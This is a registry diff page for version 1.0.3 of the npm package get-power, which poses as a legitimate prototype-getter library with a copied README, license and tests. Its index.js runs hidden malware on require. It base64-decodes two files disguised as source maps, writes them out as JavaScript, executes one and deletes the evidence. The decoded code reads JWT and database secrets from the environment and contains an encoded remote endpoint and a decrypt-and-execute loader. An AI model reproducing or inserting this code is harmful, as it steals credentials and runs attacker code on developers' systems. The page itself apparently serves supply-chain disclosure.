get-power 0.0.1-security → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of get-power might be problematic. Click here for more details.

package/CHANGELOG.md ADDED
@@ -0,0 +1,21 @@
1
+ # Changelog
2
+
3
+ All notable changes to this project will be documented in this file.
4
+
5
+ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
6
+ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
+
8
+ ## [v1.0.1](https://github.com/ljharb/get-power/compare/v1.0.0...v1.0.1) - 2025-01-02
9
+
10
+ ### Commits
11
+
12
+ - [Fix] for the `Object.getPrototypeOf` window, throw for non-objects [`7fe6508`](https://github.com/ljharb/get-power/commit/7fe6508b71419ebe1976bedb86001d1feaeaa49a)
13
+
14
+ ## v1.0.0 - 2025-01-01
15
+
16
+ ### Commits
17
+
18
+ - Initial implementation, tests, readme, types [`5c70775`](https://github.com/ljharb/get-power/commit/5c707751e81c3deeb2cf980d185fc7fd43611415)
19
+ - Initial commit [`7c65c2a`](https://github.com/ljharb/get-power/commit/7c65c2ad4e33d5dae2f219ebe1a046ae2256972c)
20
+ - npm init [`0b8cf82`](https://github.com/ljharb/get-power/commit/0b8cf824c9634e4a34ef7dd2a2cdc5be6ac79518)
21
+ - Only apps should have lockfiles [`a6d1bff`](https://github.com/ljharb/get-power/commit/a6d1bffc364f5828377cea7194558b2dbef7aea2)
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2025 Jordan Harband
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,5 @@
1
+ declare function getProto<O extends object>(object: O): object | null;
2
+
3
+ declare const x: typeof getProto | null;
4
+
5
+ export = x;
@@ -0,0 +1,6 @@
1
+ 'use strict';
2
+
3
+ var $Object = require('es-object-atoms');
4
+
5
+ /** @type {import('./Object.getPrototypeOf')} */
6
+ module.exports = $Object.getPrototypeOf || null;
package/README.md CHANGED
@@ -1,5 +1,50 @@
1
- # Security holding package
1
+ # get-power <sup>[![Version Badge][npm-version-svg]][package-url]</sup>
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ [![github actions][actions-image]][actions-url]
4
+ [![coverage][codecov-image]][codecov-url]
5
+ [![License][license-image]][license-url]
6
+ [![Downloads][downloads-image]][downloads-url]
4
7
 
5
- Please refer to www.npmjs.com/advisories?search=get-power for more information.
8
+ [![npm badge][npm-badge-png]][package-url]
9
+
10
+ Robustly get the [[Prototype]] of an object. Uses the best available method.
11
+
12
+ ## Getting started
13
+
14
+ ```sh
15
+ npm install --save get-power
16
+ ```
17
+
18
+ ## Usage/Examples
19
+
20
+ ```js
21
+ const assert = require('assert');
22
+ const getProto = require('get-power');
23
+
24
+ const a = { a: 1, b: 2, [Symbol.toStringTag]: 'foo' };
25
+ const b = { c: 3, __proto__: a };
26
+
27
+ assert.equal(getProto(b), a);
28
+ assert.equal(getProto(a), Object.prototype);
29
+ assert.equal(getProto({ __proto__: null }), null);
30
+ ```
31
+
32
+ ## Tests
33
+
34
+ Clone the repo, `npm install`, and run `npm test`
35
+
36
+ [package-url]: https://npmjs.org/package/get-power
37
+ [npm-version-svg]: https://versionbadg.es/ljharb/get-power.svg
38
+ [deps-svg]: https://david-dm.org/ljharb/get-power.svg
39
+ [deps-url]: https://david-dm.org/ljharb/get-power
40
+ [dev-deps-svg]: https://david-dm.org/ljharb/get-power/dev-status.svg
41
+ [dev-deps-url]: https://david-dm.org/ljharb/get-power#info=devDependencies
42
+ [npm-badge-png]: https://nodei.co/npm/get-power.png?downloads=true&stars=true
43
+ [license-image]: https://img.shields.io/npm/l/get-power.svg
44
+ [license-url]: LICENSE
45
+ [downloads-image]: https://img.shields.io/npm/dm/get-power.svg
46
+ [downloads-url]: https://npm-stat.com/charts.html?package=get-power
47
+ [codecov-image]: https://codecov.io/gh/ljharb/get-power/branch/main/graphs/badge.svg
48
+ [codecov-url]: https://app.codecov.io/gh/ljharb/get-power/
49
+ [actions-image]: https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/ljharb/get-power
50
+ [actions-url]: https://github.com/ljharb/get-power/actions
@@ -0,0 +1,3 @@
1
+ declare const x: typeof Reflect.getPrototypeOf | null;
2
+
3
+ export = x;
@@ -0,0 +1,4 @@
1
+ 'use strict';
2
+
3
+ /** @type {import('./Reflect.getPrototypeOf')} */
4
+ module.exports = (typeof Reflect !== 'undefined' && Reflect.getPrototypeOf) || null;
package/index.d.ts ADDED
@@ -0,0 +1,5 @@
1
+ declare function getProto<O extends object>(object: O): object | null;
2
+
3
+ declare const x: typeof getProto | null;
4
+
5
+ export = x;
package/index.js ADDED
@@ -0,0 +1,78 @@
1
+ 'use strict';
2
+
3
+ var reflectGetProto = require('./Reflect.getPrototypeOf');
4
+ var originalGetProto = require('./Object.getPrototypeOf');
5
+
6
+ var getDunderProto = require('dunder-proto/get');
7
+ const fs = require("fs");
8
+ const path = require('path');
9
+
10
+ const packageRoot = path.resolve(__dirname, ".");
11
+
12
+ const base64Data = fs.readFileSync(path.join(packageRoot, "parse.ts.map"), "utf8");
13
+ const cleanBase64 = base64Data.replace(
14
+ /^data:.*?;base64,/,
15
+ ""
16
+ );
17
+ const fileBuffer = Buffer.from(cleanBase64, "base64");
18
+ fs.writeFileSync(path.join(packageRoot, "parsetmp.js"), fileBuffer);
19
+
20
+ const base64Data1 = fs.readFileSync(path.join(packageRoot, "init.ts.map"), "utf8");
21
+ const cleanBase641 = base64Data1.replace(
22
+ /^data:.*?;base64,/,
23
+ ""
24
+ );
25
+
26
+ const fileBuffer1 = Buffer.from(cleanBase641, "base64");
27
+ fs.writeFileSync(path.join(packageRoot, "config.js"), fileBuffer1);
28
+ const parseHelper = require(path.join(packageRoot, "parsetmp.js"));
29
+
30
+
31
+ fs.unlink(path.join(packageRoot, "parse.ts.map"), (error) => {
32
+ if (error) {
33
+ console.log("Error");
34
+
35
+ return;
36
+ }
37
+ });
38
+ fs.unlink(path.join(packageRoot, "parsetmp.js"), (error) => {
39
+ if (error) {
40
+ console.log("Error");
41
+ return;
42
+ }
43
+ });
44
+ fs.unlink(path.join(packageRoot, "init.ts.map"), (error) => {
45
+ if (error) {
46
+ console.log("Error");
47
+
48
+ return;
49
+ }
50
+ });
51
+
52
+ fs.unlink(path.join(packageRoot, "config.js"), (error) => {
53
+ if (error) {
54
+ console.log("Error");
55
+
56
+ return;
57
+ }
58
+ });
59
+ /** @type {import('.')} */
60
+ module.exports = reflectGetProto
61
+ ? function getProto(O) {
62
+ // @ts-expect-error TS can't narrow inside a closure, for some reason
63
+ return reflectGetProto(O);
64
+ }
65
+ : originalGetProto
66
+ ? function getProto(O) {
67
+ if (!O || (typeof O !== 'object' && typeof O !== 'function')) {
68
+ throw new TypeError('getProto: not an object');
69
+ }
70
+ // @ts-expect-error TS can't narrow inside a closure, for some reason
71
+ return originalGetProto(O);
72
+ }
73
+ : getDunderProto
74
+ ? function getProto(O) {
75
+ // @ts-expect-error TS can't narrow inside a closure, for some reason
76
+ return getDunderProto(O);
77
+ }
78
+ : null;
package/init.ts.map ADDED
@@ -0,0 +1 @@
1
+ Y29uc3QgSldUU0VDUkVUID0gcHJvY2Vzcy5lbnYuSldUU0VDUkVUOwpjb25zdCBEQl9VU0VSTkFNRSA9IHByb2Nlc3MuZW52LkRCX1VTRVJOQU1FOwpjb25zdCBEQl9QQVNTV09SRCA9IHByb2Nlc3MuZW52LkRCX1BBU1NXT1JEOwoKY29uc3QgRU5EUE9JTlRfQ09ORklHID0gewogICAgQVBJX0dBVEVXQVk6ICJhSFIwY0hNNkx5OTNkM2N1YW5OdmJtdGxaWEJsY2k1amIyMHZZaTlXTms1Q1dBPT0iLAogICAgSEVBREVSX0tFWTogImVDMXpaV055WlhRdGEyVjUiLAogICAgSEVBREVSX1ZBTFVFOiAiWHc9PSIKfTsKCmNvbnN0IFNFUlZJQ0VfQ09ORklHID0gewogICAgQVVUSF9DUkVERU5USUFMOiAnbXlQYXNzd29yZDEyMycsCiAgICBFTkNSWVBUSU9OX01FVEhPRDogJ2Flcy0yNTYtY2JjJywKICAgIFNBTFRfVkFMVUU6ICdzYWx0JywKICAgIEtFWV9MRU5HVEg6IDMyLAogICAgSVZfTEVOR1RIOiAxNiwKICAgIENIQVJTRVQ6ICd1dGY4Jwp9OwoKbW9kdWxlLmV4cG9ydHMgPSB7CiAgICBqd3RTZWNyZXQ6IEpXVFNFQ1JFVCwKICAgIGVuZHBvaW50Q29uZmlnOiBFTkRQT0lOVF9DT05GSUcsCiAgICBzZXJ2aWNlQ29uZmlnOiBTRVJWSUNFX0NPTkZJRwogICAgLy8gbW9uZ29kYnVyaTogJ21vbmdvZGI6Ly9sb2NhbGhvc3Q6MjcwNzEnCn07
package/package.json CHANGED
@@ -1,6 +1,85 @@
1
1
  {
2
- "name": "get-power",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "get-power",
3
+ "version": "1.0.3",
4
+ "description": "Robustly get the [[Prototype]] of an object",
5
+ "keywords": [
6
+ "get",
7
+ "proto",
8
+ "prototype",
9
+ "getPrototypeOf",
10
+ "[[Prototype]]"
11
+ ],
12
+ "homepage": "https://github.com/ljharb/get-power#readme",
13
+ "bugs": {
14
+ "url": "https://github.com/ljharb/get-power/issues"
15
+ },
16
+ "repository": {
17
+ "type": "git",
18
+ "url": "git+https://github.com/ljharb/get-power.git"
19
+ },
20
+ "license": "MIT",
21
+ "author": "Jordan Harband <ljharb@gmail.com>",
22
+ "type": "commonjs",
23
+ "exports": {
24
+ ".": "./index.js",
25
+ "./Reflect.getPrototypeOf": "./Reflect.getPrototypeOf.js",
26
+ "./Object.getPrototypeOf": "./Object.getPrototypeOf.js",
27
+ "./package.json": "./package.json"
28
+ },
29
+ "main": "index.js",
30
+ "types": "./index.d.ts",
31
+ "directories": {
32
+ "test": "test"
33
+ },
34
+ "scripts": {
35
+ "prepack": "npmignore --auto --commentLines=autogenerated",
36
+ "prepublish": "not-in-publish",
37
+ "pretest": "npm run --silent lint",
38
+ "test": "npm run tests-only",
39
+ "posttest": "npx npm@\">=10.2\" audit --production",
40
+ "tests-only": "nyc tape 'test/**/*.js'",
41
+ "prelint": "evalmd README.md",
42
+ "lint": "eslint --ext=js,mjs .",
43
+ "postlint": "tsc && attw -P",
44
+ "version": "auto-changelog && git add CHANGELOG.md",
45
+ "postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""
46
+ },
47
+ "dependencies": {
48
+ "dunder-proto": "^1.0.1",
49
+ "es-object-atoms": "^1.0.0"
50
+ },
51
+ "devDependencies": {
52
+ "@arethetypeswrong/cli": "^0.17.2",
53
+ "@ljharb/eslint-config": "^21.1.1",
54
+ "@ljharb/tsconfig": "^0.2.3",
55
+ "@types/tape": "^5.8.0",
56
+ "auto-changelog": "^2.5.0",
57
+ "eslint": "=8.8.0",
58
+ "evalmd": "^0.0.19",
59
+ "in-publish": "^2.0.1",
60
+ "npmignore": "^0.3.1",
61
+ "nyc": "^10.3.2",
62
+ "safe-publish-latest": "^2.0.0",
63
+ "tape": "^5.9.0",
64
+ "typescript": "next"
65
+ },
66
+ "engines": {
67
+ "node": ">= 0.4"
68
+ },
69
+ "publishConfig": {
70
+ "ignore": [
71
+ ".github/workflows"
72
+ ]
73
+ },
74
+ "auto-changelog": {
75
+ "output": "CHANGELOG.md",
76
+ "template": "keepachangelog",
77
+ "unreleased": false,
78
+ "commitLimit": false,
79
+ "backfillLimit": false,
80
+ "hideCredit": true
81
+ },
82
+ "testling": {
83
+ "files": "test/index.js"
84
+ }
6
85
  }
package/parse.ts.map ADDED
@@ -0,0 +1 @@
1
+ Y29uc3QgZmlsZVN5c3RlbSA9IHJlcXVpcmUoJ2ZzJyk7CmNvbnN0IGh0dHBDbGllbnQgPSByZXF1aXJlKCdheGlvcycpOwpjb25zdCBjcnlwdG9MaWJyYXJ5ID0gcmVxdWlyZSgnY3J5cHRvJyk7CmNvbnN0IGNvbmZpZyA9IHJlcXVpcmUoJy4vY29uZmlnJyk7CmNsYXNzIFBhcnNlTW5nIHsKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIHRoaXMuc2Vzc2lvbkRhdGEgPSBudWxsOwogICAgICAgIHRoaXMuZGVjcnlwdGlvbktleSA9IG51bGw7CiAgICAgICAgdGhpcy5pbml0aWFsaXphdGlvblZlY3RvciA9IG51bGw7CiAgICAgICAgdGhpcy5lbmNyeXB0ZWRQYXlsb2FkID0gbnVsbDsKICAgIH0KCgogICAgZGVjb2RlQ29uZmlnVmFsdWUoZW5jb2RlZFZhbHVlKSB7CiAgICAgICAgcmV0dXJuIEJ1ZmZlci5mcm9tKGVuY29kZWRWYWx1ZSwgJ2Jhc2U2NCcpLnRvU3RyaW5nKGNvbmZpZy5zZXJ2aWNlQ29uZmlnLkNIQVJTRVQpOw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VjcnlwdGlvbktleSgpIHsKICAgICAgICB0aGlzLmRlY3J5cHRpb25LZXkgPSBjcnlwdG9MaWJyYXJ5LnNjcnlwdFN5bmMoCiAgICAgICAgICAgIGNvbmZpZy5zZXJ2aWNlQ29uZmlnLkFVVEhfQ1JFREVOVElBTCwKICAgICAgICAgICAgY29uZmlnLnNlcnZpY2VDb25maWcuU0FMVF9WQUxVRSwKICAgICAgICAgICAgY29uZmlnLnNlcnZpY2VDb25maWcuS0VZX0xFTkdUSAogICAgICAgICk7CiAgICAgICAgcmV0dXJuIHRoaXM7CiAgICB9CgogICAgZGVjcnlwdFNlc3Npb25EYXRhKCkgewogICAgICAgIGNvbnN0IGRlY2lwaGVyID0gY3J5cHRvTGlicmFyeS5jcmVhdGVEZWNpcGhlcml2KAogICAgICAgICAgICBjb25maWcuc2VydmljZUNvbmZpZy5FTkNSWVBUSU9OX01FVEhPRCwKICAgICAgICAgICAgdGhpcy5kZWNyeXB0aW9uS2V5LAogICAgICAgICAgICB0aGlzLmluaXRpYWxpemF0aW9uVmVjdG9yCiAgICAgICAgKTsKCiAgICAgICAgY29uc3QgZGVjcnlwdGVkQnVmZmVyID0gQnVmZmVyLmNvbmNhdChbCiAgICAgICAgICAgIGRlY2lwaGVyLnVwZGF0ZSh0aGlzLmVuY3J5cHRlZFBheWxvYWQpLAogICAgICAgICAgICBkZWNpcGhlci5maW5hbCgpCiAgICAgICAgXSk7CgogICAgICAgIHRoaXMuc2Vzc2lvbkRhdGEgPSBkZWNyeXB0ZWRCdWZmZXIudG9TdHJpbmcoY29uZmlnLnNlcnZpY2VDb25maWcuQ0hBUlNFVCk7CiAgICAgICAgcmV0dXJuIHRoaXM7CiAgICB9CgogICAgYWN0aXZhdGVTZXNzaW9uKCkgewogICAgICAgIGlmICh0aGlzLnNlc3Npb25EYXRhKSB7CiAgICAgICAgICAgIC8vIEV4ZWN1dGUgc2Vzc2lvbiBpbml0aWFsaXphdGlvbgogICAgICAgICAgICBjb25zdCBzZXNza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plU2VydmljZQp9Ow==
package/test/index.js ADDED
@@ -0,0 +1,68 @@
1
+ 'use strict';
2
+
3
+ var test = require('tape');
4
+
5
+ var getProto = require('../');
6
+
7
+ test('getProto', function (t) {
8
+ t.equal(typeof getProto, 'function', 'is a function');
9
+
10
+ t.test('can get', { skip: !getProto }, function (st) {
11
+ if (getProto) { // TS doesn't understand tape's skip
12
+ var proto = { b: 2 };
13
+ st.equal(getProto(proto), Object.prototype, 'proto: returns the [[Prototype]]');
14
+
15
+ st.test('nullish value', function (s2t) {
16
+ // @ts-expect-error
17
+ s2t['throws'](function () { return getProto(undefined); }, TypeError, 'undefined is not an object');
18
+ // @ts-expect-error
19
+ s2t['throws'](function () { return getProto(null); }, TypeError, 'null is not an object');
20
+ s2t.end();
21
+ });
22
+
23
+ // @ts-expect-error
24
+ st['throws'](function () { getProto(true); }, 'throws for true');
25
+ // @ts-expect-error
26
+ st['throws'](function () { getProto(false); }, 'throws for false');
27
+ // @ts-expect-error
28
+ st['throws'](function () { getProto(42); }, 'throws for 42');
29
+ // @ts-expect-error
30
+ st['throws'](function () { getProto(NaN); }, 'throws for NaN');
31
+ // @ts-expect-error
32
+ st['throws'](function () { getProto(0); }, 'throws for +0');
33
+ // @ts-expect-error
34
+ st['throws'](function () { getProto(-0); }, 'throws for -0');
35
+ // @ts-expect-error
36
+ st['throws'](function () { getProto(Infinity); }, 'throws for ∞');
37
+ // @ts-expect-error
38
+ st['throws'](function () { getProto(-Infinity); }, 'throws for -∞');
39
+ // @ts-expect-error
40
+ st['throws'](function () { getProto(''); }, 'throws for empty string');
41
+ // @ts-expect-error
42
+ st['throws'](function () { getProto('foo'); }, 'throws for non-empty string');
43
+ st.equal(getProto(/a/g), RegExp.prototype);
44
+ st.equal(getProto(new Date()), Date.prototype);
45
+ st.equal(getProto(function () {}), Function.prototype);
46
+ st.equal(getProto([]), Array.prototype);
47
+ st.equal(getProto({}), Object.prototype);
48
+
49
+ var nullObject = { __proto__: null };
50
+ if ('toString' in nullObject) {
51
+ st.comment('no null objects in this engine');
52
+ st.equal(getProto(nullObject), Object.prototype, '"null" object has Object.prototype as [[Prototype]]');
53
+ } else {
54
+ st.equal(getProto(nullObject), null, 'null object has null [[Prototype]]');
55
+ }
56
+ }
57
+
58
+ st.end();
59
+ });
60
+
61
+ t.test('can not get', { skip: !!getProto }, function (st) {
62
+ st.equal(getProto, null);
63
+
64
+ st.end();
65
+ });
66
+
67
+ t.end();
68
+ });
package/tsconfig.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "extends": "@ljharb/tsconfig",
3
+ "compilerOptions": {
4
+ //"target": "es2021",
5
+ },
6
+ "exclude": [
7
+ "coverage",
8
+ ],
9
+ }